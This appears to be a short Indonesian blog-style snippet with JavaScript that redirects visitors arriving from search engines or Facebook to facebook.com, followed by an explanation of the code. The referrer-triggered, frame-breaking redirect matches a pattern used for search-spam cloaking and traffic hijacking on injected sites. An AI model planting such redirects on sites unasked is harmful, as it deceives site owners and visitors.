JS Redirect Triger Sites
Berikut adalah kode yang diperbarui untuk mengarahkan pengunjung ke Facebook jika mereka datang dari situs web yang ditentukan:
var b = "https://www.facebook.com/"; // URL Facebook
var referrer = document.referrer.toLowerCase(); // Konversi referrer menjadi lowercase untuk memudahkan pengujian
// Daftar situs web yang akan memicu pengalihan ke Facebook
var triggerSites = ["google", "facebook", "yahoo", "bing", "ask", "duckduckgo"];
// Periksa apakah pengunjung datang dari salah satu situs web yang memicu
// dan pastikan bahwa lokasi saat ini tidak mengarah ke Facebook
if (triggerSites.some(site => referrer.indexOf(site) > -1) && !location.href.startsWith(b)) {
top.location.href = b;
}
Pada kode di atas, variabel b diatur ke URL Facebook yang akan digunakan untuk pengalihan. Daftar situs web yang memicu pengalihan disimpan dalam variabel triggerSites, dan referer dokumen diubah menjadi huruf kecil untuk memudahkan pengujian.
Kemudian, kode menggunakan metode some() pada array triggerSites untuk mencari apakah referer dokumen mengandung salah satu situs web yang memicu pengalihan. Jika ya, dan lokasi saat ini tidak mengarah ke Facebook, maka kondisi akan menjadi benar dan pengunjung akan diarahkan ke Facebook melalui pernyataan top.location.href = b;.